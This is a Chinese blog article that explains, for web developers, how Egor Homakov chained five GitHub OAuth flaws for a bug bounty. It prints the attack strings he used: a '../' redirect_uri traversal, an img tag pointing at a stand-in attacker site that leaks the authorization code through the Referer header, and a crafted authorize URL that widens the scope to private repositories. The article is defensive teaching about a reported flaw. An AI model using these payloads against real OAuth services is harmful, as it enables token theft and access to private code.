從“黑掉Github”學(xué)Web安全開發(fā)
Egor Homakov（Twitter: @homakov 個人網(wǎng)站: EgorHomakov.com）是一個Web安全的布道士，他這兩天把github給黑了，并給github報了5個安全方面的bug，他在他的這篇blog——《How I hacked Github again》（墻）說明了這5個安全bug以及他把github黑掉的思路。Egor的這篇文章講得比較簡單，很多地方一筆帶過，所以，我在這里用我的語言給大家闡述一下黑掉Github的思路以及原文中所提到的那5個bug。希望這篇文章能讓從事Web開發(fā)的同學(xué)們警惕。關(guān)于Web開發(fā)中的安全事項，大家可以看看這篇文章《Web開發(fā)中的你需要了解的東西》
OAuth簡介
首先，這個故事要從Github OAuth講起。所以，我們需要先知道什么是OAuth。所謂OAuth就是說，第三方的應(yīng)用可以通過你的授權(quán)而不用知道你的帳號密碼能夠訪問你在某網(wǎng)站的你自己的數(shù)據(jù)或功能。像Google, Facebook, Twitter等網(wǎng)站都提供了OAuth服務(wù)，提供OAuth服務(wù)的網(wǎng)站一般都有很多開放的API，第三方應(yīng)用會調(diào)用這些API來開發(fā)他們的應(yīng)用以讓用戶擁有更多的功能，但是，當用戶在使用這些第三方應(yīng)用的時候，這些第三方的應(yīng)用會來訪問用戶的帳戶內(nèi)的功能和數(shù)據(jù)，所以，當?shù)谌龖?yīng)用要干這些事的時候，我們不能讓第三方應(yīng)用彈出一個對話框來問用戶要他的帳號密碼，不然第三方的應(yīng)用就把用戶的密碼給獲取了，所以，OAuth協(xié)議會跳轉(zhuǎn)到一個頁面，讓用戶授權(quán)給這個第三方應(yīng)用以某些權(quán)限，然后，這個權(quán)限授權(quán)的記錄保存在Google/Facebook/Twitter上，并向第三方應(yīng)用返回一個授權(quán)token，于是第三方的應(yīng)用通過這個token來操作某用戶帳號的功能和數(shù)據(jù)時，就暢通無阻了。下圖簡單地說明了Twitter的OAuth的授權(quán)過程。
從上面的流程圖中，我們可以看OAuth不管是1.0還是2.0版本都是一個比較復(fù)雜的協(xié)議，所以，在Server端要把OAuth實現(xiàn)對并不是一些容易事，其總是或多或少會有些小錯誤。Egor就找到了幾個Github的OAuth的實現(xiàn)的問題。
OAuth的Callback
還需要注意的是，因為OAuth是需要跳到主站的網(wǎng)頁上去讓用戶授權(quán)，當用戶授權(quán)完后，需要跳轉(zhuǎn)回原網(wǎng)頁，所以，一般來說，OAuth授權(quán)頁都會帶一個 redirect_url的參數(shù)，用于指定跳轉(zhuǎn)回原來的網(wǎng)頁。Github使用的這個跳轉(zhuǎn)參數(shù)是redirect_uri參數(shù)。一般來說，redirect_uri這個參數(shù)需要在服務(wù)器端進行驗證。
你想一下，如果有人可以控制這個redirect_uri這個參數(shù)，那么，你就可以讓其跳轉(zhuǎn)到別的網(wǎng)頁上（可能會是個有惡意的網(wǎng)頁）。如果你覺得跳轉(zhuǎn)到別的網(wǎng)頁上也無所謂，那么你就錯了。別忘了，當你對這個第三方的應(yīng)用授權(quán)通過后，服務(wù)方會給第三方應(yīng)用返回一個授權(quán)token，這個token會被加到那個redirect_uri參數(shù)后面然后跳轉(zhuǎn)回去，如果這個redirect_uri被別有用心的人改一個惡意的網(wǎng)址后，這個token也就被轉(zhuǎn)過去了，于是授權(quán)token也就被泄漏過去了。
知道了這一切，我們就可以理解Egor提的那5個bug是什么意思了。
***個Bug：沒有檢查重定向URL中的/../
首先，我們通過Github的 redirect_uri 的說明文檔我們可以看到這樣的說明：
- 如果 CALLBACK URL是: http://example.com/path
- GOOD: https://example.com/path
- GOOD: http://example.com/path/subdir/other
- BAD: http://example.com/bar
- BAD: http://example.com/
- BAD: http://example.com:8080/path
- BAD: http://oauth.example.com:8080/path
- BAD: http://example.org
而Github對于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是說，域名是gist.github.com，目錄是/auth/github/callback/，服務(wù)器端做了這個限制，看似很安全了。
但是，Egor發(fā)現(xiàn)，Github的服務(wù)器端并沒有驗證.. /../../這樣的情況。
于是，Egor相當于構(gòu)造了一個下面這樣的Redirect URL：
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
于是上面的URL就相當于：
https://gist.github.com/homakov/8820324?code=CODE
你可以看到，認證后的跳轉(zhuǎn)網(wǎng)頁轉(zhuǎn)到了別的地方去（并非是github限制的地方）——我們知道Github的gist雖然是給你分享代碼片段的，但是也可以用來定制自己的東西的（比如markdown），這個gist的網(wǎng)頁當然是被Egor所控制的。
#p#
第二個BUG：沒有校驗token
***個bug其實并沒有什么，如果服務(wù)器端要校驗一下token是否和之前生成的token的redirect_uri一模一樣，只要服務(wù)器做了這個驗證，***個bug完全沒有什么用處，但是，github的服務(wù)端并沒有驗證。
這就是第二個bug，于是***個和第二個bug組合起來成了一個相當有威力的安全漏洞。
也就是說，token的生成要考慮redirect_uri，這樣，當URL跳轉(zhuǎn)的時候，會把redirect_uri和token帶到跳轉(zhuǎn)頁面（這里的跳轉(zhuǎn)頁面還是github自己的），跳轉(zhuǎn)頁面的服務(wù)端程序要用redirect_uri來生成一個token，看看是不是和傳來的token是一個樣的。這就是所謂的對URL進行簽名——以保證URL的不被人篡改。一般來說，對URL簽名和對簽名驗證的因子包括，源IP，服務(wù)器時間截，session，或是再加個salt什么的。
第三個BUG：注入跨站圖片
現(xiàn)在，redirect_uri帶著code，安全順利地跳到了Egor構(gòu)造的網(wǎng)頁上：
https://gist.github.com/homakov/8820324?code=CODE
但是，這個是gist的網(wǎng)頁，你無法在這個頁面上運行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），現(xiàn)在的問題是我們怎么得到那個code，因為那個code雖然后帶到了我的網(wǎng)頁上來，但那個網(wǎng)頁還是github和用戶自己的環(huán)境。
到這里，一般來說，黑客會在這個頁面上放一個諸如下面的一個鏈接，來引誘用戶點擊，：
<a href=http://hack.you.com/>私人照片</a>
這樣，當頁面跳轉(zhuǎn)到黑客的網(wǎng)站上來后，你之前的網(wǎng)頁上的網(wǎng)址會被加在http頭里的 Refere 參數(shù)里，這樣，我就可以得到你的token了。
但是，在gist上放個鏈接還要用戶去點一下，這個太影響“用戶體驗”了，***能嵌入點外部的東西。gist上可以嵌入外站的圖片，但是github的開發(fā)人員并非等閑之輩，對于外站的圖片，其統(tǒng)統(tǒng)會把這些圖片的url代理成github自己的url，所以，你很難搞定。
不過，我們可以用一個很詭異的技巧：
<img src=”///attackersite.com”>
這個是什么玩意？這個是個URL的相對路徑。但是為什么會有三個///呢？呵呵。
像程序員一樣的思考
這個時候，我們需要以“程序員的編程思維”來思考問題——如果你是程序員，你會怎么寫校驗URL的程序？你一定會想到使用正則表達式，或是用程序來匹配URL中的一些pattern。于是，
-
對于絕對路徑：你會匹配兩個//，后面的可能會是 user@host.com（user@是可選的），然后可能會有:<n>端口號，然后是/，后面是服務(wù)器的路徑，再往后面應(yīng)該是?后面帶一些參數(shù)了。
-
對于相對路徑：就沒有絕對路徑那么復(fù)雜了。就是些 .. 和 /再加上?和一些參數(shù)。
好了，如果coolshell.cn網(wǎng)頁中的<img src=>或<a href=>中用到的相對路徑是 /host.com，那么瀏覽器會解釋成：http://coolshell.cn/host.com，如果是///host.com，那么就應(yīng)該被瀏覽器解釋成 http://coolshell.cn///host.com。
但是，Chrome和Firefox，會把///host.com當成絕對路徑，因為其正確匹配了絕對路徑的scheme。如果你正在用Chrome/Firefox看這篇文章 ，你可以看看下面的連接（源碼如下）：
- <a href="///www.google.com">CoolShell Test</a>
關(guān)鍵是，這個Chrome/Firefox的問題被標記成了Won’t Fix，我勒個去，基本上來說，后臺的程序也有可能有這樣的問題，對于Perl，Python，Ruby，Node.js，PHP帶的URL檢查的函數(shù)庫都有這樣的問題。
于是，我們就可以使用這樣的方式給gist注入了一個第三方站點的圖片（github的服務(wù)端沒有察覺到（因為我們前面說過大多數(shù)語言的URL檢查庫都會被 Bypass了），但是瀏覽器端把這個鏈接解釋到了第三方的站點上），于是請求這個圖片的http頭中的refere 中包含用戶當前頁面的URL，也包含了用戶授權(quán)的code。
到這里，黑客Egor已經(jīng)拿到用戶gist的權(quán)限并可以修改或查看用戶私用的gist了。但是作者并沒有滿足，他想要的更多。
第四個bug：Gist把github_token放在了cookie里
于是Egor在用戶的cookie里找到了 github_token
但是這個token沒什么用，因為授權(quán)的Scope只有g(shù)ists。但是，這個token不應(yīng)該放在用戶端的cookie里，本身就是一個安全事故，這個東西只能放在服務(wù)端（關(guān)于Web開發(fā)中的安全事項，可以看看這篇文章《Web開發(fā)中的你需要了解的東西》）。
于是，Egor只能另謀出路。
第五個Bug：自動給gist授權(quán)
因為gist是github自家的，Egor所以估計github想做得簡單一點，當用戶訪問gist的時候，不會出彈出一個OAuth的頁面來讓用戶授權(quán)，不然，用戶就會很詫異，都是你們自家的東西，還要授權(quán)？所以，Egor猜測github應(yīng)該是對gist做了自動授權(quán)，于是，Egor搞了這樣的一個URL（注意其中的 redirect_uri中的scope ）
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
于是，這個redirect-uri不但幫黑客拿到了訪問gist的token，而且還把授權(quán)token的scope擴大到了用戶的代碼庫等其它權(quán)限。于是你就可以黑入用戶的私有代碼區(qū)了。
#p#
其它 & 感想
于是，作者從 Github Security Bug Bounty 拿到了USD $4,000的獎勵！Egor一共花了從下午2點到6點一共4個小時找到了這些Bug，平均一小時1000美刀。Egor還很得瑟的說，如果Github請他做安全顧問，他只收一小時USD $400刀，這4個小時也就$1,600。呵呵。大家看看，這是多么有效率的賺錢方式。
下圖是Github上的賞金獵手的排行榜（https://bounty.github.com/index.html#leaderboard）你可以上去挨個看看他們找到的問題，你會發(fā)現(xiàn)好些安全問題都很小，有些只能說是不是很規(guī)范的問題，Github都賞了幾百刀。我查看了一下github的賞金政策，github賞金至少100刀，到5000刀不等。
讓我們捫心自問一下，我們花了多少時間在玩那些“紅包游戲”，而又搞到了多少紅包？人家4個小時找了5個bug，掙了$4000美金。老天給了你我一樣的時間，我們用來抽幾塊錢的紅包，人家用自己的技能來掙獎金。這就是人和人的差距。這就是所謂的效率——你可以移步看看我寫的《加班與效率》
